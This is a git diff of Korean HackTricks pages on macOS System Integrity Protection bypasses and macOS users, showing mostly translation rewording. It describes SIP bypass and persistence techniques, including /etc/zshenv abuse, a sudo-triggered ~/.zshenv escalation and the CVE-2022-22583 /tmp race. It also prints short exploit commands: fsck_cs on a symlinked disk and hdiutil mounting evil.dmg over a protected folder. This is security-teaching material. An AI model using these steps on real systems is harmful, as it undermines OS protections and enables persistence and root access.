* **지속성 설정**: SIP로 보호된 위치에 악성 코드를 배치하여 루트 권한으로도 제거하기 어렵게 만듭니다. 여기에는 악성 소프트웨어 제거 도구(MRT)를 변조할 가능성도 포함됩니다.
|
||||||
* **커널 확장 로드**: 추가적인 보호 장치가 있지만, SIP를 우회하면 서명되지 않은 커널 확장을 로드하는 과정이 간소화됩니다.
|
* **커널 확장 로드**: 추가적인 보호 장치가 있지만, SIP를 우회하면 서명되지 않은 커널 확장을 로드하는 과정이 간소화됩니다.
|
||||||
|
|
||||||
### Installer Packages
|
### Installer Packages
|
||||||
|
@ -113,7 +100,7 @@ SIP를 우회하면 공격자가 다음을 수행할 수 있습니다:
|
||||||
|
|
||||||
### Inexistent SIP file
|
### Inexistent SIP file
|
||||||
|
|
||||||
하나의 잠재적 허점은 **`rootless.conf`에 지정된 파일이 현재 존재하지 않는 경우** 해당 파일을 생성할 수 있다는 것입니다. 악성 소프트웨어는 이를 악용하여 **시스템에서 지속성을 확립**할 수 있습니다. 예를 들어, 악성 프로그램이 `rootless.conf`에 나열되어 있지만 존재하지 않는 경우 `/System/Library/LaunchDaemons`에 .plist 파일을 생성할 수 있습니다.
|
하나의 잠재적 허점은 **`rootless.conf`에 지정된 파일이 현재 존재하지 않는 경우** 생성할 수 있다는 것입니다. 악성 코드는 이를 악용하여 **시스템에서 지속성을 설정**할 수 있습니다. 예를 들어, 악성 프로그램이 `rootless.conf`에 나열되어 있지만 존재하지 않는 경우 `/System/Library/LaunchDaemons`에 .plist 파일을 생성할 수 있습니다.
|
||||||
|
|
||||||
### com.apple.rootless.install.heritable
|
### com.apple.rootless.install.heritable
|
||||||
|
|
||||||
|
@ -131,21 +118,21 @@ SIP를 우회하면 공격자가 다음을 수행할 수 있습니다:
|
||||||
|
|
||||||
#### CVE-2021-30892 - Shrootless
|
#### CVE-2021-30892 - Shrootless
|
||||||
|
|
||||||
[**이 블로그 게시물의 연구자들**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/)은 macOS의 시스템 무결성 보호(SIP) 메커니즘에서 'Shrootless' 취약점을 발견했습니다. 이 취약점은 **`system_installd`** 데몬을 중심으로 하며, 이 데몬은 **`com.apple.rootless.install.heritable`**라는 권한을 가지고 있어 자식 프로세스가 SIP의 파일 시스템 제한을 우회할 수 있게 해줍니다.
|
[**이 블로그 게시물의 연구자들**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/)은 macOS의 시스템 무결성 보호(SIP) 메커니즘에서 'Shrootless' 취약점을 발견했습니다. 이 취약점은 **`system_installd`** 데몬을 중심으로 하며, 이 데몬은 자식 프로세스가 SIP의 파일 시스템 제한을 우회할 수 있도록 해주는 권한 **`com.apple.rootless.install.heritable`**를 가지고 있습니다.
|
||||||
|
|
||||||
**`system_installd`** 데몬은 **Apple**에 의해 서명된 패키지를 설치합니다.
|
**`system_installd`** 데몬은 **Apple**에 의해 서명된 패키지를 설치합니다.
|
||||||
|
|
||||||
연구자들은 Apple 서명 패키지(.pkg 파일)의 설치 중에 **`system_installd`**가 패키지에 포함된 모든 **post-install** 스크립트를 **실행**한다는 것을 발견했습니다. 이러한 스크립트는 기본 셸인 **`zsh`**에 의해 실행되며, 존재하는 경우 **`/etc/zshenv`** 파일의 명령을 자동으로 **실행**합니다. 이 동작은 공격자에 의해 악용될 수 있습니다: 악성 **`/etc/zshenv`** 파일을 생성하고 **`system_installd`가 `zsh`를 호출**할 때까지 기다리면, 장치에서 임의의 작업을 수행할 수 있습니다.
|
연구자들은 Apple 서명 패키지(.pkg 파일)의 설치 중에 **`system_installd`**가 패키지에 포함된 모든 **post-install** 스크립트를 **실행**한다는 것을 발견했습니다. 이러한 스크립트는 기본 셸인 **`zsh`**에 의해 실행되며, 존재하는 경우 비대화 모드에서도 **`/etc/zshenv`** 파일의 명령을 자동으로 **실행**합니다. 공격자는 악성 **`/etc/zshenv`** 파일을 생성하고 **`system_installd`가 `zsh`를 호출할 때** 임의의 작업을 수행할 수 있습니다.
|
||||||
|
|
||||||
게다가 **`/etc/zshenv`**는 SIP 우회뿐만 아니라 일반적인 공격 기법으로도 사용될 수 있다는 것이 발견되었습니다. 각 사용자 프로필에는 `~/.zshenv` 파일이 있으며, 이는 `/etc/zshenv`와 동일하게 동작하지만 루트 권한이 필요하지 않습니다. 이 파일은 `zsh`가 시작될 때마다 트리거되는 지속성 메커니즘으로 사용되거나 권한 상승 메커니즘으로 사용될 수 있습니다. 관리 사용자가 `sudo -s` 또는 `sudo <command>`를 사용하여 루트로 상승하면 `~/.zshenv` 파일이 트리거되어 효과적으로 루트로 상승하게 됩니다.
|
게다가 **`/etc/zshenv`**는 SIP 우회뿐만 아니라 일반적인 공격 기법으로도 사용될 수 있다는 것이 발견되었습니다. 각 사용자 프로필에는 `~/.zshenv` 파일이 있으며, 이는 `/etc/zshenv`와 동일하게 작동하지만 루트 권한이 필요하지 않습니다. 이 파일은 `zsh`가 시작될 때마다 트리거되는 지속성 메커니즘으로 사용되거나 권한 상승 메커니즘으로 사용될 수 있습니다. 관리 사용자가 `sudo -s` 또는 `sudo <command>`를 사용하여 루트로 상승하면 `~/.zshenv` 파일이 트리거되어 루트로 상승하게 됩니다.
|
||||||
|
|
||||||
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
|
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
|
||||||
|
|
||||||
[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)에서는 동일한 **`system_installd`** 프로세스가 여전히 악용될 수 있다는 것이 발견되었습니다. 이는 **`/tmp`** 내의 SIP로 보호된 임의의 이름의 폴더에 **post-install 스크립트**를 넣고 있었기 때문입니다. 문제는 **`/tmp` 자체는 SIP로 보호되지 않기 때문에**, **가상 이미지를 마운트**한 후 **설치 프로그램**이 **post-install 스크립트**를 그곳에 넣고, **가상 이미지를 언마운트**한 다음, 모든 **폴더를 재생성**하고 **페이로드**를 실행할 **post installation** 스크립트를 추가할 수 있었다는 것입니다.
|
[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)에서는 동일한 **`system_installd`** 프로세스가 여전히 악용될 수 있다는 것이 발견되었습니다. 이는 **`/tmp`** 내의 SIP로 보호된 임의의 이름의 폴더에 **post-install 스크립트**를 넣고 있었기 때문입니다. 문제는 **`/tmp` 자체는 SIP로 보호되지 않기 때문에**, **가상 이미지를 마운트**한 후 **설치 프로그램**이 그곳에 **post-install 스크립트**를 넣고, **가상 이미지를 언마운트**한 다음, 모든 **폴더를 재생성**하고 **payload**를 실행할 **post installation** 스크립트를 추가할 수 있었다는 것입니다.
|
||||||
|
|
||||||
#### [fsck\_cs utility](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
|
#### [fsck\_cs utility](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
|
||||||
|
|
||||||
**`fsck_cs`**가 **심볼릭 링크**를 따라가는 능력으로 인해 중요한 파일을 손상시키는 취약점이 확인되었습니다. 구체적으로, 공격자는 _`/dev/diskX`_에서 `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist` 파일로의 링크를 작성했습니다. _`/dev/diskX`_에서 **`fsck_cs`**를 실행하면 `Info.plist`가 손상되었습니다. 이 파일의 무결성은 운영 체제의 SIP(시스템 무결성 보호)에 필수적이며, 이는 커널 확장의 로드를 제어합니다. 손상되면 SIP의 커널 제외 관리 능력이 손상됩니다.
|
**`fsck_cs`**가 **심볼릭 링크**를 따라가는 능력으로 인해 중요한 파일을 손상시키는 취약점이 확인되었습니다. 구체적으로, 공격자는 _`/dev/diskX`_에서 `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist` 파일로의 링크를 만들었습니다. _`/dev/diskX`_에서 **`fsck_cs`**를 실행하면 `Info.plist`가 손상되었습니다. 이 파일의 무결성은 운영 체제의 SIP(시스템 무결성 보호)에 필수적이며, 이는 커널 확장의 로딩을 제어합니다. 손상되면 SIP의 커널 제외 관리 능력이 손상됩니다.
|
||||||
|
|
||||||
이 취약점을 악용하기 위한 명령은:
|
이 취약점을 악용하기 위한 명령은:
|
||||||
```bash
|
```bash
|
||||||
|
@ -154,7 +141,7 @@ fsck_cs /dev/diskX 1>&-
|
||||||
touch /Library/Extensions/
|
touch /Library/Extensions/
|
||||||
reboot
|
reboot
|
||||||
```
|
```
|
||||||
이 취약점의 악용은 심각한 영향을 미칩니다. 일반적으로 커널 확장에 대한 권한 관리를 담당하는 `Info.plist` 파일이 비효율적으로 됩니다. 여기에는 `AppleHWAccess.kext`와 같은 특정 확장을 블랙리스트에 추가할 수 없는 것이 포함됩니다. 결과적으로 SIP의 제어 메커니즘이 작동하지 않게 되면, 이 확장이 로드될 수 있어 시스템의 RAM에 대한 무단 읽기 및 쓰기 접근을 허용합니다.
|
이 취약점의 악용은 심각한 영향을 미칩니다. `Info.plist` 파일은 일반적으로 커널 확장에 대한 권한을 관리하는 역할을 하지만, 비효율적이 됩니다. 여기에는 `AppleHWAccess.kext`와 같은 특정 확장을 블랙리스트에 추가할 수 없는 것이 포함됩니다. 결과적으로 SIP의 제어 메커니즘이 작동하지 않게 되면, 이 확장이 로드될 수 있어 시스템의 RAM에 대한 무단 읽기 및 쓰기 접근을 허용하게 됩니다.
|
||||||
|
|
||||||
#### [SIP 보호 폴더 위에 마운트하기](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)
|
#### [SIP 보호 폴더 위에 마운트하기](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)
|
||||||
|
|
||||||
|
@ -167,13 +154,13 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
||||||
```
|
```
|
||||||
#### [업그레이더 우회 (2016)](https://objective-see.org/blog/blog\_0x14.html)
|
#### [업그레이더 우회 (2016)](https://objective-see.org/blog/blog\_0x14.html)
|
||||||
|
|
||||||
시스템은 OS를 업그레이드하기 위해 `Install macOS Sierra.app` 내의 임베디드 설치 디스크 이미지를 부팅하도록 설정되어 있으며, `bless` 유틸리티를 사용합니다. 사용된 명령은 다음과 같습니다:
|
시스템은 `Install macOS Sierra.app` 내의 임베디드 설치 프로그램 디스크 이미지를 사용하여 OS를 업그레이드하기 위해 부팅하도록 설정되어 있으며, `bless` 유틸리티를 활용합니다. 사용된 명령은 다음과 같습니다:
|
||||||
```bash
|
```bash
|
||||||
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
|
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
|
||||||
```
|
```
|
||||||
이 프로세스의 보안은 공격자가 부팅 전에 업그레이드 이미지(`InstallESD.dmg`)를 변경하면 손상될 수 있습니다. 이 전략은 동적 로더(dyld)를 악성 버전(`libBaseIA.dylib`)으로 대체하는 것을 포함합니다. 이 교체는 설치 프로그램이 시작될 때 공격자의 코드가 실행되도록 합니다.
|
이 프로세스의 보안은 공격자가 부팅 전에 업그레이드 이미지(`InstallESD.dmg`)를 변경하면 손상될 수 있습니다. 이 전략은 악성 버전(`libBaseIA.dylib`)으로 동적 로더(dyld)를 대체하는 것을 포함합니다. 이 교체는 설치 프로그램이 시작될 때 공격자의 코드가 실행되도록 합니다.
|
||||||
|
|
||||||
공격자의 코드는 업그레이드 프로세스 중에 제어를 얻고, 설치 프로그램에 대한 시스템의 신뢰를 악용합니다. 공격은 `extractBootBits` 메서드를 특히 겨냥하여 메서드 스위즐링을 통해 `InstallESD.dmg` 이미지를 변경함으로써 진행됩니다. 이를 통해 디스크 이미지가 사용되기 전에 악성 코드를 주입할 수 있습니다.
|
공격자의 코드는 업그레이드 과정에서 제어를 얻고, 설치 프로그램에 대한 시스템의 신뢰를 악용합니다. 공격은 `extractBootBits` 메서드를 특히 겨냥하여 메서드 스위즐링을 통해 `InstallESD.dmg` 이미지를 변경함으로써 진행됩니다. 이를 통해 디스크 이미지가 사용되기 전에 악성 코드를 주입할 수 있습니다.
|
||||||
|
|
||||||
또한, `InstallESD.dmg` 내에는 업그레이드 코드의 루트 파일 시스템 역할을 하는 `BaseSystem.dmg`가 있습니다. 여기에 동적 라이브러리를 주입하면 악성 코드가 OS 수준 파일을 변경할 수 있는 프로세스 내에서 작동할 수 있어 시스템 손상의 가능성이 크게 증가합니다.
|
또한, `InstallESD.dmg` 내에는 업그레이드 코드의 루트 파일 시스템 역할을 하는 `BaseSystem.dmg`가 있습니다. 여기에 동적 라이브러리를 주입하면 악성 코드가 OS 수준 파일을 변경할 수 있는 프로세스 내에서 작동할 수 있어 시스템 손상의 가능성이 크게 증가합니다.
|
||||||
|
|
||||||
|
@ -197,21 +184,21 @@ and it was possible to crate a symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.
|
||||||
|
|
||||||
권한 `com.apple.rootless.install`은 macOS에서 시스템 무결성 보호(SIP)를 우회할 수 있는 것으로 알려져 있습니다. 이는 [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/)와 관련하여 특히 언급되었습니다.
|
권한 `com.apple.rootless.install`은 macOS에서 시스템 무결성 보호(SIP)를 우회할 수 있는 것으로 알려져 있습니다. 이는 [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/)와 관련하여 특히 언급되었습니다.
|
||||||
|
|
||||||
이 특정 경우에, `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc`에 위치한 시스템 XPC 서비스가 이 권한을 가지고 있습니다. 이는 관련 프로세스가 SIP 제약을 우회할 수 있게 해줍니다. 또한, 이 서비스는 보안 조치를 시행하지 않고 파일을 이동할 수 있는 방법을 제공합니다.
|
이 특정 경우에 `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc`에 위치한 시스템 XPC 서비스가 이 권한을 가지고 있습니다. 이는 관련 프로세스가 SIP 제약을 우회할 수 있게 해줍니다. 또한, 이 서비스는 보안 조치를 시행하지 않고 파일을 이동할 수 있는 방법을 제공합니다.
|
||||||
|
|
||||||
## 봉인된 시스템 스냅샷
|
## Sealed System Snapshots
|
||||||
|
|
||||||
봉인된 시스템 스냅샷은 **macOS Big Sur (macOS 11)**에서 Apple이 도입한 기능으로, **시스템 무결성 보호(SIP)** 메커니즘의 일환으로 추가적인 보안 및 시스템 안정성을 제공합니다. 이들은 본질적으로 시스템 볼륨의 읽기 전용 버전입니다.
|
Sealed System Snapshots는 **macOS Big Sur (macOS 11)**에서 Apple이 도입한 기능으로, **시스템 무결성 보호(SIP)** 메커니즘의 일환으로 추가적인 보안 및 시스템 안정성을 제공합니다. 이들은 본질적으로 시스템 볼륨의 읽기 전용 버전입니다.
|
||||||
|
|
||||||
자세한 내용은 다음과 같습니다:
|
자세한 내용은 다음과 같습니다:
|
||||||
|
|
||||||
1. **변경 불가능한 시스템**: 봉인된 시스템 스냅샷은 macOS 시스템 볼륨을 "변경 불가능"하게 만들어, 수정할 수 없도록 합니다. 이는 보안이나 시스템 안정성을 위협할 수 있는 무단 또는 우발적인 변경을 방지합니다.
|
1. **불변 시스템**: Sealed System Snapshots는 macOS 시스템 볼륨을 "불변"으로 만들어 수정할 수 없게 합니다. 이는 보안이나 시스템 안정성을 위협할 수 있는 무단 또는 우발적인 변경을 방지합니다.
|
||||||
2. **시스템 소프트웨어 업데이트**: macOS 업데이트나 업그레이드를 설치할 때, macOS는 새로운 시스템 스냅샷을 생성합니다. 그런 다음 macOS 시작 볼륨은 **APFS (Apple File System)**를 사용하여 이 새로운 스냅샷으로 전환합니다. 업데이트 적용 과정이 더 안전하고 신뢰할 수 있게 되며, 업데이트 중 문제가 발생할 경우 시스템이 항상 이전 스냅샷으로 되돌아갈 수 있습니다.
|
2. **시스템 소프트웨어 업데이트**: macOS 업데이트나 업그레이드를 설치할 때, macOS는 새로운 시스템 스냅샷을 생성합니다. 그런 다음 macOS 시작 볼륨은 **APFS (Apple File System)**를 사용하여 이 새로운 스냅샷으로 전환합니다. 업데이트 적용 과정이 더 안전하고 신뢰할 수 있게 되며, 업데이트 중 문제가 발생할 경우 시스템이 항상 이전 스냅샷으로 되돌릴 수 있습니다.
|
||||||
3. **데이터 분리**: macOS Catalina에서 도입된 데이터와 시스템 볼륨 분리 개념과 함께, 봉인된 시스템 스냅샷 기능은 모든 데이터와 설정이 별도의 "**데이터**" 볼륨에 저장되도록 보장합니다. 이 분리는 데이터를 시스템과 독립적으로 만들어 시스템 업데이트 과정을 단순화하고 시스템 보안을 강화합니다.
|
3. **데이터 분리**: macOS Catalina에서 도입된 데이터와 시스템 볼륨 분리 개념과 함께, Sealed System Snapshot 기능은 모든 데이터와 설정이 별도의 "**Data**" 볼륨에 저장되도록 보장합니다. 이 분리는 데이터를 시스템과 독립적으로 만들어 시스템 업데이트 과정을 단순화하고 시스템 보안을 강화합니다.
|
||||||
|
|
||||||
이 스냅샷은 macOS에 의해 자동으로 관리되며, APFS의 공간 공유 기능 덕분에 디스크에 추가 공간을 차지하지 않습니다. 또한, 이 스냅샷은 전체 시스템의 사용자 접근 가능한 백업인 **타임 머신 스냅샷**과는 다르다는 점도 중요합니다.
|
이 스냅샷은 macOS에 의해 자동으로 관리되며, APFS의 공간 공유 기능 덕분에 디스크에 추가 공간을 차지하지 않습니다. 또한, 이 스냅샷은 전체 시스템의 사용자 접근 가능한 백업인 **Time Machine 스냅샷**과는 다르다는 점도 중요합니다.
|
||||||
|
|
||||||
### 스냅샷 확인
|
### Check Snapshots
|
||||||
|
|
||||||
명령어 **`diskutil apfs list`**는 **APFS 볼륨의 세부 정보**와 레이아웃을 나열합니다:
|
명령어 **`diskutil apfs list`**는 **APFS 볼륨의 세부 정보**와 레이아웃을 나열합니다:
|
||||||
|
|
||||||
|
@ -230,7 +217,7 @@ and it was possible to crate a symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.
|
||||||
| +-> Volume disk3s1 7A27E734-880F-4D91-A703-FB55861D49B7
|
| +-> Volume disk3s1 7A27E734-880F-4D91-A703-FB55861D49B7
|
||||||
| | ---------------------------------------------------
|
| | ---------------------------------------------------
|
||||||
<strong>| | APFS Volume Disk (Role): disk3s1 (System)
|
<strong>| | APFS Volume Disk (Role): disk3s1 (System)
|
||||||
</strong>| | Name: Macintosh HD (대소문자 구분 안 함)
|
</strong>| | Name: Macintosh HD (Case-insensitive)
|
||||||
<strong>| | Mount Point: /System/Volumes/Update/mnt1
|
<strong>| | Mount Point: /System/Volumes/Update/mnt1
|
||||||
</strong>| | Capacity Consumed: 12819210240 B (12.8 GB)
|
</strong>| | Capacity Consumed: 12819210240 B (12.8 GB)
|
||||||
| | Sealed: Broken
|
| | Sealed: Broken
|
||||||
|
@ -245,16 +232,16 @@ and it was possible to crate a symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.
|
||||||
+-> Volume disk3s5 281959B7-07A1-4940-BDDF-6419360F3327
|
+-> Volume disk3s5 281959B7-07A1-4940-BDDF-6419360F3327
|
||||||
| ---------------------------------------------------
|
| ---------------------------------------------------
|
||||||
| APFS Volume Disk (Role): disk3s5 (Data)
|
| APFS Volume Disk (Role): disk3s5 (Data)
|
||||||
| Name: Macintosh HD - Data (대소문자 구분 안 함)
|
| Name: Macintosh HD - Data (Case-insensitive)
|
||||||
<strong> | Mount Point: /System/Volumes/Data
|
<strong> | Mount Point: /System/Volumes/Data
|
||||||
</strong><strong> | Capacity Consumed: 412071784448 B (412.1 GB)
|
</strong><strong> | Capacity Consumed: 412071784448 B (412.1 GB)
|
||||||
</strong> | Sealed: No
|
</strong> | Sealed: No
|
||||||
| FileVault: Yes (Unlocked)
|
| FileVault: Yes (Unlocked)
|
||||||
</code></pre>
|
</code></pre>
|
||||||
|
|
||||||
이전 출력에서 **사용자 접근 가능한 위치**가 `/System/Volumes/Data` 아래에 마운트되어 있는 것을 볼 수 있습니다.
|
이전 출력에서 **사용자 접근 가능한 위치**가 `/System/Volumes/Data` 아래에 마운트된 것을 볼 수 있습니다.
|
||||||
|
|
||||||
또한, **macOS 시스템 볼륨 스냅샷**은 `/`에 마운트되어 있으며 **봉인되어** 있습니다(운영 체제에 의해 암호화 서명됨). 따라서 SIP가 우회되어 수정되면 **운영 체제가 더 이상 부팅되지 않습니다**.
|
또한, **macOS 시스템 볼륨 스냅샷**은 `/`에 마운트되어 있으며 **봉인**되어 있습니다(운영 체제에 의해 암호화 서명됨). 따라서 SIP가 우회되어 수정되면 **운영 체제가 더 이상 부팅되지 않습니다**.
|
||||||
|
|
||||||
봉인이 활성화되어 있는지 **확인할 수 있는** 방법도 있습니다:
|
봉인이 활성화되어 있는지 **확인할 수 있는** 방법도 있습니다:
|
||||||
```bash
|
```bash
|
||||||
|
@ -266,17 +253,6 @@ Authenticated Root status: enabled
|
||||||
mount
|
mount
|
||||||
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
|
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
|
||||||
```
|
```
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 회사나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -287,7 +263,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,71 +1,56 @@
|
||||||
# macOS 사용자
|
# macOS 사용자
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 활용한 검색 엔진으로, 회사나 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**당했는지 무료로 확인할 수 있는 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 방문하여 엔진을 무료로 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### 일반 사용자
|
### 일반 사용자
|
||||||
|
|
||||||
* **데몬**: 시스템 데몬을 위해 예약된 사용자입니다. 기본 데몬 계정 이름은 일반적으로 "\_"로 시작합니다:
|
* **Daemon**: 시스템 데몬을 위해 예약된 사용자. 기본 데몬 계정 이름은 보통 "\_"로 시작합니다:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, 